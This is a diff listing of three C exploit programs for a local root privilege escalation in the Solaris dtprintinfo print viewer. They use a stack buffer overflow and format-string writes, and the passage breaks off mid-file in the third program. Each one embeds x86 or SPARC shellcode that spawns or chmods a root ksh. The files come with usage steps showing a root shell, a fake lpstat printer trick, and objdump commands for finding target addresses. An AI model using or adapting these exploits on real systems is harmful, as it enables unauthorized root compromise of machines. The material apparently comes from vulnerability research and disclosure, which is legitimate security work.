-
1 + /* 2 + * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE 3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]> 4 + * 5 + * "What we do in life echoes in eternity" -- Maximus Decimus Meridius 6 + * https://patchfriday.com/22/ 7 + * 8 + * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 9 + * local root. This one was discovered by Marti Guasch Jimenez, who attended my 10 + * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on 11 + * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19). 12 + * 13 + * It's a stack-based buffer overflow in the check_dir() function: 14 + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){ 15 + * char local_724 [300]; 16 + * ... 17 + * __format = getenv("REQ_DIR"); 18 + * sprintf(local_724,__format,param_2); 19 + * 20 + * "To trigger this vulnerability we need a printer present, we can also fake 21 + * it with the lpstat trick. We also need at least one directory in the path 22 + * pointed by the environment variable TMP_DIR. Finally, we just need to set 23 + * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to 24 + * overwrite EIP." -- Marti Guasch Jimenez 25 + * 26 + * This bug was likely fixed during the general cleanup of CDE code done by 27 + * Oracle in response to my recently reported vulnerabilities. However, I can't 28 + * confirm this because I have no access to their patches:/ 29 + * 30 + * Usage: 31 + * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall 32 + * [on your xserver: disable the access control] 33 + * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0 34 + * [on your xserver: double click on the fake "fnord" printer] 35 + * [...] 36 + * # id 37 + * uid=0(root) gid=1(other) 38 + * # 39 + * 40 + * Tested on: 41 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 42 + * [previous Solaris versions are also likely vulnerable] 43 + */ 44 + 45 + #include <fcntl.h> 46 + #include <link.h> 47 + #include <procfs.h> 48 + #include <stdio.h> 49 + #include <stdlib.h> 50 + #include <strings.h> 51 + #include <unistd.h> 52 + #include <sys/stat.h> 53 + #include <sys/systeminfo.h> 54 + #include <sys/types.h> 55 + 56 + #define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE" 57 + #define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>" 58 + 59 + #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 60 + #define BUFSIZE 2048 // size of the evil env var 61 + 62 + char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 63 + /* double setuid() */ 64 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 65 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 66 + /* execve() */ 67 + "\x31\xc0\x50\x68/ksh\x68/bin" 68 + "\x89\xe3\x50\x53\x89\xe2\x50" 69 + "\x52\x53\xb0\x3b\x50\xcd\x91"; 70 + 71 + /* globals */ 72 + char *arg[2] = {"foo", NULL}; 73 + char *env[256]; 74 + int env_pos = 0, env_len = 0; 75 + 76 + /* prototypes */ 77 + int add_env(char *string); 78 + void check_zero(int addr, char *pattern); 79 + int get_sc_addr(char *path, char **argv); 80 + int search_ldso(char *sym); 81 + int search_rwx_mem(void); 82 + void set_val(char *buf, int pos, int val); 83 + 84 + /* 85 + * main() 86 + */ 87 + int main(int argc, char **argv) 88 + { 89 + char buf[BUFSIZE]; 90 + char platform[256], release[256], display[256]; 91 + int i, sc_addr; 92 + 93 + int sb = ((int)argv[0] | 0xfff); /* stack base */ 94 + int ret = search_ldso("strcpy"); /* or sprintf */ 95 + int rwx_mem = search_rwx_mem(); /* rwx memory */ 96 + 97 + /* lpstat code to add a fake printer */ 98 + if (!strcmp(argv[0], "lpstat")) { 99 + 100 + /* check command line */ 101 + if (argc != 2) 102 + exit(1); 103 + 104 + /* print the expected output and exit */ 105 + if(!strcmp(argv[1], "-v")) { 106 + fprintf(stderr, "lpstat called with -v\n"); 107 + printf("device for fnord: /dev/null\n"); 108 + } else { 109 + fprintf(stderr, "lpstat called with -d\n"); 110 + printf("system default destination: fnord\n"); 111 + } 112 + exit(0); 113 + } 114 + 115 + /* helper program that prints argv[0] address, used by get_sc_addr() */ 116 + if (!strcmp(argv[0], "foo")) { 117 + printf("0x%p\n", argv[0]); 118 + exit(0); 119 + } 120 + 121 + /* print exploit information */ 122 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 123 + 124 + /* process command line */ 125 + if (argc != 2) { 126 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 127 + exit(1); 128 + } 129 + sprintf(display, "DISPLAY=%s", argv[1]); 130 + 131 + /* prepare the evil env var */ 132 + memset(buf, 'A', sizeof(buf)); 133 + buf[sizeof(buf) - 1] = 0x0; 134 + memcpy(buf, "REQ_DIR=", 8); 135 + 136 + /* fill the envp, keeping padding */ 137 + add_env(sc); 138 + add_env(buf); 139 + add_env(display); 140 + add_env("TMP_DIR=/tmp"); 141 + add_env("PATH=.:/usr/bin"); 142 + add_env("HOME=/tmp"); 143 + add_env(NULL); 144 + 145 + /* calculate the shellcode address */ 146 + sc_addr = get_sc_addr(VULN, argv); 147 + 148 + /* fill with ld.so.1 address, saved eip, and arguments */ 149 + for (i = 12; i < BUFSIZE - 20; i += 4) { 150 + set_val(buf, i, ret); /* strcpy */ 151 + set_val(buf, i += 4, rwx_mem); /* saved eip */ 152 + set_val(buf, i += 4, rwx_mem); /* 1st argument */ 153 + set_val(buf, i += 4, sc_addr); /* 2nd argument */ 154 + } 155 + 156 + /* we need at least one directory inside TMP_DIR to trigger the bug */ 157 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); 158 + 159 + /* create a symlink for the fake lpstat */ 160 + unlink("lpstat"); 161 + symlink(argv[0], "lpstat"); 162 + 163 + /* print some output */ 164 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 165 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 166 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 167 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 168 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 169 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 170 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 171 + 172 + /* check for null bytes */ 173 + check_zero(sc_addr, "sc address"); 174 + 175 + /* run the vulnerable program */ 176 + execve(VULN, arg, env); 177 + perror("execve"); 178 + exit(1); 179 + } 180 + 181 + /* 182 + * add_env(): add a variable to envp and pad if needed 183 + */ 184 + int add_env(char *string) 185 + { 186 + int i; 187 + 188 + /* null termination */ 189 + if (!string) { 190 + env[env_pos] = NULL; 191 + return env_len; 192 + } 193 + 194 + /* add the variable to envp */ 195 + env[env_pos] = string; 196 + env_len += strlen(string) + 1; 197 + env_pos++; 198 + 199 + /* pad the envp using zeroes */ 200 + if ((strlen(string) + 1) % 4) 201 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 202 + env[env_pos] = string + strlen(string); 203 + env_len++; 204 + } 205 + 206 + return env_len; 207 + } 208 + 209 + /* 210 + * check_zero(): check an address for the presence of a 0x00 211 + */ 212 + void check_zero(int addr, char *pattern) 213 + { 214 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 215 + !(addr & 0xff000000)) { 216 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 217 + exit(1); 218 + } 219 + } 220 + 221 + /* 222 + * get_sc_addr(): get shellcode address using a helper program 223 + */ 224 + int get_sc_addr(char *path, char **argv) 225 + { 226 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 227 + char hex[11] = "\x00"; 228 + int fd[2], addr; 229 + 230 + /* truncate program name at correct length and create a hard link */ 231 + prog[strlen(path)] = 0x0; 232 + unlink(prog); 233 + link(argv[0], prog); 234 + 235 + /* open pipe to read program output */ 236 + if (pipe(fd) < 0) { 237 + perror("pipe"); 238 + exit(1); 239 + } 240 + 241 + switch(fork()) { 242 + 243 + case -1: /* cannot fork */ 244 + perror("fork"); 245 + exit(1); 246 + 247 + case 0: /* child */ 248 + dup2(fd[1], 1); 249 + close(fd[0]); 250 + close(fd[1]); 251 + execve(prog, arg, env); 252 + perror("execve"); 253 + exit(1); 254 + 255 + default: /* parent */ 256 + close(fd[1]); 257 + read(fd[0], hex, sizeof(hex)); 258 + break; 259 + } 260 + 261 + /* check and return address */ 262 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { 263 + fprintf(stderr, "error: cannot read sc address from helper program\n"); 264 + exit(1); 265 + } 266 + return addr; 267 + } 268 + 269 + /* 270 + * search_ldso(): search for a symbol inside ld.so.1 271 + */ 272 + int search_ldso(char *sym) 273 + { 274 + int addr; 275 + void *handle; 276 + Link_map *lm; 277 + 278 + /* open the executable object file */ 279 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 280 + perror("dlopen"); 281 + exit(1); 282 + } 283 + 284 + /* get dynamic load information */ 285 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 286 + perror("dlinfo"); 287 + exit(1); 288 + } 289 + 290 + /* search for the address of the symbol */ 291 + if ((addr = (int)dlsym(handle, sym)) == NULL) { 292 + fprintf(stderr, "sorry, function %s() not found\n", sym); 293 + exit(1); 294 + } 295 + 296 + /* close the executable object file */ 297 + dlclose(handle); 298 + 299 + check_zero(addr - 4, sym); 300 + return addr; 301 + } 302 + 303 + /* 304 + * search_rwx_mem(): search for an RWX memory segment valid for all 305 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 306 + */ 307 + int search_rwx_mem(void) 308 + { 309 + int fd; 310 + char tmp[16]; 311 + prmap_t map; 312 + int addr = 0, addr_old; 313 + 314 + /* open the proc filesystem */ 315 + sprintf(tmp,"/proc/%d/map", (int)getpid()); 316 + if ((fd = open(tmp, O_RDONLY)) < 0) { 317 + fprintf(stderr, "can't open %s\n", tmp); 318 + exit(1); 319 + } 320 + 321 + /* search for the last RWX memory segment before stack (last - 1) */ 322 + while (read(fd, &map, sizeof(map))) 323 + if (map.pr_vaddr) 324 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 325 + addr_old = addr; 326 + addr = map.pr_vaddr; 327 + } 328 + close(fd); 329 + 330 + /* add 4 to the exact address null bytes */ 331 + if (!(addr_old & 0xff)) 332 + addr_old |= 0x04; 333 + if (!(addr_old & 0xff00)) 334 + addr_old |= 0x0400; 335 + 336 + return addr_old; 337 + } 338 + 339 + /* 340 + * set_val(): copy a dword inside a buffer (little endian) 341 + */ 342 + void set_val(char *buf, int pos, int val) 343 + { 344 + buf[pos] = (val & 0x000000ff); 345 + buf[pos + 1] = (val & 0x0000ff00) >> 8; 346 + buf[pos + 2] = (val & 0x00ff0000) >> 16; 347 + buf[pos + 3] = (val & 0xff000000) >> 24; 348 + } 349 + -
1 + /* 2 + * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE 3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]> 4 + * 5 + * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman 6 + * https://youtu.be/KEkrWRHCDQU 7 + * 8 + * Same code snippet, different vulnerability. 20 years later, format string 9 + * bugs are not extinct after all! The vulnerable function looks like this: 10 + * 11 + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...) 12 + * { 13 + * ... 14 + * char local_724 [300]; 15 + * ... 16 + * else { 17 + * __format = getenv("REQ_DIR"); 18 + * sprintf(local_724,__format,param_2); // [1] 19 + * } 20 + * ... 21 + * local_c = strlen(local_724); // [2] 22 + * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3] 23 + * ... 24 + * } 25 + * 26 + * The plan (inspired by an old technique devised by gera) is to exploit the 27 + * sprintf at [1], where we control the format string, to replace the strlen 28 + * at [2] with a strdup and the sprintf at [3] with a call to the shellcode 29 + * dynamically allocated in the heap by strdup and pointed to by the local_c 30 + * variable at [2]. In practice, to pull this off the structure of the evil 31 + * environment variable REQ_DIR must be: 32 + * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)] 33 + * 34 + * To collect the needed addresses for your system, use: 35 + * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got 36 + * 080994cc R_386_JUMP_SLOT strlen 37 + * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got 38 + * 080994e4 R_386_JUMP_SLOT sprintf 39 + * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt 40 + * 0805df20 F *UND* 00000000 strdup 41 + * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text 42 + * 08067f52: ff 55 f8 call *-0x8(%ebp) 43 + * 44 + * This bug was likely fixed during the general cleanup of CDE code done by 45 + * Oracle in response to my recently reported vulnerabilities. However, I can't 46 + * confirm this because I have no access to their patches:/ 47 + * 48 + * See also: 49 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) 50 + * raptor_dtprintcheckdir_sparc.c (just a proof of concept) 51 + * raptor_dtprintcheckdir_sparc2.c (the real deal) 52 + * 53 + * Usage: 54 + * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall 55 + * [on your xserver: disable the access control] 56 + * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0 57 + * [on your xserver: double click on the fake "fnord" printer] 58 + * [...] 59 + * # id 60 + * uid=0(root) gid=1(other) 61 + * # 62 + * 63 + * Tested on: 64 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 65 + * [previous Solaris versions are also likely vulnerable] 66 + */ 67 + 68 + #include <stdio.h> 69 + #include <stdlib.h> 70 + #include <strings.h> 71 + #include <unistd.h> 72 + #include <sys/stat.h> 73 + #include <sys/systeminfo.h> 74 + 75 + #define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE" 76 + #define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>" 77 + 78 + #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program 79 + #define BUFSIZE 300 // size of evil env var 80 + #define STACKPOPSEQ "%.8x" // stackpop sequence 81 + #define STACKPOPS 14 // number of stackpops 82 + 83 + /* replace with valid addresses for your system */ 84 + #define STRLEN 0x080994cc // .got strlen address 85 + #define SPRINTF 0x080994e4 // .got sprintf address 86 + #define STRDUP 0x0805df20 // .plt strdup address 87 + #define RET 0x08067f52 // call *-0x8(%ebp) address 88 + 89 + /* split an address in 4 bytes */ 90 + #define SPLITB(b1, b2, b3, b4, addr) { \ 91 + b1 = (addr & 0x000000ff); \ 92 + b2 = (addr & 0x0000ff00) >> 8; \ 93 + b3 = (addr & 0x00ff0000) >> 16; \ 94 + b4 = (addr & 0xff000000) >> 24; \ 95 + } 96 + 97 + char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 98 + /* double setuid() */ 99 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 100 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 101 + /* execve() */ 102 + "\x31\xc0\x50\x68/ksh\x68/bin" 103 + "\x89\xe3\x50\x53\x89\xe2\x50" 104 + "\x52\x53\xb0\x3b\x50\xcd\x91"; 105 + 106 + /* globals */ 107 + char *arg[2] = {"foo", NULL}; 108 + char *env[256]; 109 + int env_pos = 0, env_len = 0; 110 + 111 + /* prototypes */ 112 + int add_env(char *string); 113 + 114 + /* 115 + * main() 116 + */ 117 + int main(int argc, char **argv) 118 + { 119 + char buf[BUFSIZE], *p = buf; 120 + char platform[256], release[256], display[256]; 121 + 122 + int i, stackpops = STACKPOPS; 123 + unsigned base, n1, n2, n3, n4, n5, n6, n7, n8; 124 + unsigned char strdup1, strdup2, strdup3, strdup4; 125 + unsigned char ret1, ret2, ret3, ret4; 126 + 127 + int strlen_got = STRLEN; 128 + int sprintf_got = SPRINTF; 129 + int strdup_plt = STRDUP; 130 + int ret = RET; 131 + 132 + /* lpstat code to add a fake printer */ 133 + if (!strcmp(argv[0], "lpstat")) { 134 + 135 + /* check command line */ 136 + if (argc != 2) 137 + exit(1); 138 + 139 + /* print the expected output and exit */ 140 + if(!strcmp(argv[1], "-v")) { 141 + fprintf(stderr, "lpstat called with -v\n"); 142 + printf("device for fnord: /dev/null\n"); 143 + } else { 144 + fprintf(stderr, "lpstat called with -d\n"); 145 + printf("system default destination: fnord\n"); 146 + } 147 + exit(0); 148 + } 149 + 150 + /* print exploit information */ 151 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 152 + 153 + /* process command line */ 154 + if (argc != 2) { 155 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 156 + exit(1); 157 + } 158 + sprintf(display, "DISPLAY=%s", argv[1]); 159 + 160 + /* evil env var: name + shellcode + padding */ 161 + bzero(buf, BUFSIZE); 162 + sprintf(buf, "REQ_DIR=%s#", sc); 163 + p += strlen(buf); 164 + 165 + /* format string: .got strlen address */ 166 + *((void **)p) = (void *)(strlen_got); p += 4; 167 + memset(p, 'A', 4); p += 4; /* dummy */ 168 + *((void **)p) = (void *)(strlen_got + 1); p += 4; 169 + memset(p, 'A', 4); p += 4; /* dummy */ 170 + *((void **)p) = (void *)(strlen_got + 2); p += 4; 171 + memset(p, 'A', 4); p += 4; /* dummy */ 172 + *((void **)p) = (void *)(strlen_got + 3); p += 4; 173 + memset(p, 'A', 4); p += 4; /* dummy */ 174 + 175 + /* format string: .got sprintf address */ 176 + *((void **)p) = (void *)(sprintf_got); p += 4; 177 + memset(p, 'A', 4); p += 4; /* dummy */ 178 + *((void **)p) = (void *)(sprintf_got + 1); p += 4; 179 + memset(p, 'A', 4); p += 4; /* dummy */ 180 + *((void **)p) = (void *)(sprintf_got + 2); p += 4; 181 + memset(p, 'A', 4); p += 4; /* dummy */ 182 + *((void **)p) = (void *)(sprintf_got + 3); p += 4; 183 + 184 + /* format string: stackpop sequence */ 185 + base = strlen(buf) - strlen("REQ_DIR="); 186 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) 187 + strcat(p, STACKPOPSEQ); 188 + 189 + /* calculate numeric arguments for .plt strdup address */ 190 + SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt); 191 + n1 = (strdup1 - base) % 0x100; 192 + n2 = (strdup2 - base - n1) % 0x100; 193 + n3 = (strdup3 - base - n1 - n2) % 0x100; 194 + n4 = (strdup4 - base - n1 - n2 - n3) % 0x100; 195 + 196 + /* calculate numeric arguments for call *-0x8(%ebp) address */ 197 + SPLITB(ret1, ret2, ret3, ret4, ret); 198 + n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100; 199 + n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100; 200 + n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100; 201 + n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100; 202 + 203 + /* check for potentially dangerous numeric arguments below 10 */ 204 + n1 += (n1 < 10) ? (0x100) : (0); 205 + n2 += (n2 < 10) ? (0x100) : (0); 206 + n3 += (n3 < 10) ? (0x100) : (0); 207 + n4 += (n4 < 10) ? (0x100) : (0); 208 + n5 += (n5 < 10) ? (0x100) : (0); 209 + n6 += (n6 < 10) ? (0x100) : (0); 210 + n7 += (n7 < 10) ? (0x100) : (0); 211 + n8 += (n8 < 10) ? (0x100) : (0); 212 + 213 + /* format string: write string */ 214 + sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8); 215 + 216 + /* fill the envp, keeping padding */ 217 + add_env(buf); 218 + add_env(display); 219 + add_env("TMP_DIR=/tmp"); 220 + add_env("PATH=.:/usr/bin"); 221 + add_env("HOME=/tmp"); 222 + add_env(NULL); 223 + 224 + /* we need at least one directory inside TMP_DIR to trigger the bug */ 225 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); 226 + 227 + /* create a symlink for the fake lpstat */ 228 + unlink("lpstat"); 229 + symlink(argv[0], "lpstat"); 230 + 231 + /* print some output */ 232 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 233 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 234 + fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release); 235 + fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got); 236 + fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got); 237 + fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt); 238 + fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret); 239 + 240 + /* run the vulnerable program */ 241 + execve(VULN, arg, env); 242 + perror("execve"); 243 + exit(1); 244 + } 245 + 246 + /* 247 + * add_env(): add a variable to envp and pad if needed 248 + */ 249 + int add_env(char *string) 250 + { 251 + int i; 252 + 253 + /* null termination */ 254 + if (!string) { 255 + env[env_pos] = NULL; 256 + return env_len; 257 + } 258 + 259 + /* add the variable to envp */ 260 + env[env_pos] = string; 261 + env_len += strlen(string) + 1; 262 + env_pos++; 263 + 264 + /* pad the envp using zeroes */ 265 + if ((strlen(string) + 1) % 4) 266 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 267 + env[env_pos] = string + strlen(string); 268 + env_len++; 269 + } 270 + 271 + return env_len; 272 + } 273 + -
1 + /* 2 + * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC 3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]> 4 + * 5 + * "Mimimimimimimi 6 + * Mimimi only mimi 7 + * Mimimimimimimi 8 + * Mimimi sexy mi" 9 + * -- Serebro 10 + * 11 + * As usual, exploitation on SPARC turned out to be much more complicated (and 12 + * fun) than on Intel. Since the vulnerable program needs to survive one 13 + * additional function before we can hijack %pc, the classic stack-based buffer 14 + * overflow approach didn't seem feasible in this case. Therefore, I opted for 15 + * the format string bug. This is just a proof of concept, 'cause guess what -- 16 + * on my system it works only when gdb or truss are attached to the target 17 + * process:( To borrow Neel Mehta's words: 18 + * 19 + * "It's quite common to find an exploit that only works with GDB attached to 20 + * the process, simply because without the debugger, break register windows 21 + * aren't flushed to the stack and the overwrite has no effect." 22 + * -- The Shellcoder's Handbook 23 + * 24 + * On different hardware configurations this exploit might work if the correct 25 + * retloc and offset are provided. It might also be possible to force a context 26 + * switch at the right time that results in registers being flushed to the 27 + * stack at the right moment. However, this method tends to be unreliable even 28 + * when the attack is repeatable like in this case. A better way to solve the 29 + * puzzle would be to overwrite something different, e.g.: 30 + * 31 + * - Activation records of other functions, such as check_dir() (same issues) 32 + * - Callback to function SortJobs() (nope, address is hardcoded in .text) 33 + * - PLT in the binary (I need a different technique to handle null bytes) 34 + * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) 35 + * - Other OS function pointers I'm not aware of still present in Solaris 10 36 + * 37 + * Finally, it might be possible to combine the stack-based buffer overflow and 38 + * the format string bug to surgically fix addresses and survive until needed 39 + * for program flow hijacking to be possible. Bottom line: there's still some 40 + * work to do to obtain a reliable exploit, but I think it's feasible. You're 41 + * welcome to try yourself if you feel up to the task and have a spare SPARC 42 + * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c] 43 + * 44 + * This bug was likely fixed during the general cleanup of CDE code done by 45 + * Oracle in response to my recently reported vulnerabilities. However, I can't 46 + * confirm this because I have no access to their patches:/ 47 + * 48 + * See also: 49 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) 50 + * raptor_dtprintcheckdir_intel2.c 51 + * raptor_dtprintcheckdir_sparc2.c (the real deal) 52 + * 53 + * Usage: 54 + * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall 55 + * [on your xserver: disable the access control] 56 + * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0 57 + * [on your xserver: double click on the fake "fnord" printer] 58 + * ... 59 + * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c) 60 + * -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0) 61 + * <- libc:getenv() = 0xffbff364 62 + * -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0) 63 + * <- libc:getenv() = 0xffbff364 64 + * -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0) 65 + * ... 66 + * setuid(0) = 0 67 + * chmod("/bin/ksh", 037777777777) = 0 68 + * _exit(0) 69 + * $ ksh 70 + * # id 71 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) 72 + * # 73 + * 74 + * Tested on: 75 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise 76 + * [previous Solaris versions are also likely vulnerable (and easier to exploit)] 77 + */ 78 + 79 + #include <fcntl.h> 80 + #include <link.h> 81 + #include <procfs.h> 82 + #include <stdio.h> 83 + #include <stdlib.h> 84 + #include <strings.h> 85 + #include <unistd.h> 86 + #include <sys/stat.h> 87 + #include <sys/systeminfo.h> 88 + 89 + #define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC" 90 + #define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>" 91 + 92 + #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program 93 + #define BUFSIZE 3000 // size of evil env var 94 + #define BUFSIZE2 10000 // size of padding buf 95 + #define STACKPOPSEQ "%.8x" // stackpop sequence 96 + #define STACKPOPS 383 // number of stackpops 97 + 98 + /* default retloc and offset for sprintf() */ 99 + #define RETLOC 0xffbfbb3c // saved ret location 100 + #define OFFSET 84 // offset from retloc to i0loc 101 + 102 + /* default retloc and offset for check_dir() */ 103 + /* TODO: patch %i6 that gets corrupted by overflow */ 104 + //#define RETLOC 0xffbfbbac // default saved ret location 105 + //#define OFFSET 1884 // default offset from retloc to i0loc 106 + 107 + /* split an address in 4 bytes */ 108 + #define SPLITB(B1, B2, B3, B4, ADDR) { \ 109 + B4 = (ADDR & 0x000000ff); \ 110 + B3 = (ADDR & 0x0000ff00) >> 8; \ 111 + B2 = (ADDR & 0x00ff0000) >> 16; \ 112 + B1 = (ADDR & 0xff000000) >> 24; \ 113 + } 114 + 115 + /* calculate numeric arguments for write string */ 116 + #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ 117 + N1 = (B4 - BASE) % 0x100; \ 118 + N2 = (B2 - BASE - N1) % 0x100; \ 119 + N3 = (B1 - BASE - N1 - N2) % 0x100; \ 120 + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ 121 + BASE += N1 + N2 + N3 + N4; \ 122 + } 123 + 124 + //#define USE_EXEC_SC // uncomment to use exec shellcode 125 + 126 + #ifdef USE_EXEC_SC 127 + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ 128 + /* setuid(0) */ 129 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 130 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 131 + "\x91\xd0\x20\x08" /* ta 8 */ 132 + /* execve("/bin/ksh", argv, NULL) */ 133 + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ 134 + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ 135 + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ 136 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 137 + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ 138 + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ 139 + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ 140 + "\x91\xd0\x20\x08" /* ta 8 */ 141 + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ 142 + "\x41\x41\x41\x41" /* placeholder */ 143 + "/bin/ksh"; 144 + #else 145 + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ 146 + /* setuid(0) */ 147 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 148 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ 149 + "\x91\xd0\x20\x08" /* ta 8 */ 150 + /* chmod("/bin/ksh", 037777777777) */ 151 + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ 152 + "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ 153 + "\x20\xbf\xff\xff" /* bn,a <sc> */ 154 + "\x7f\xff\xff\xff" /* call <sc + 4> */ 155 + "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ 156 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ 157 + "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ 158 + "\x91\xd0\x20\x08" /* ta 8 */ 159 + /* exit(0) */ 160 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ 161 + "\x82\x10\x20\x01" /* mov 1, %g1 */ 162 + "\x91\xd0\x20\x08" /* ta 8 */ 163 + "/bin/ksh"; 164 + #endif /* USE_EXEC_SC */ 165 + 166 + /* globals */ 167 + char *arg[2] = {"foo", NULL}; 168 + char *env[256]; 169 + int env_pos = 0, env_len 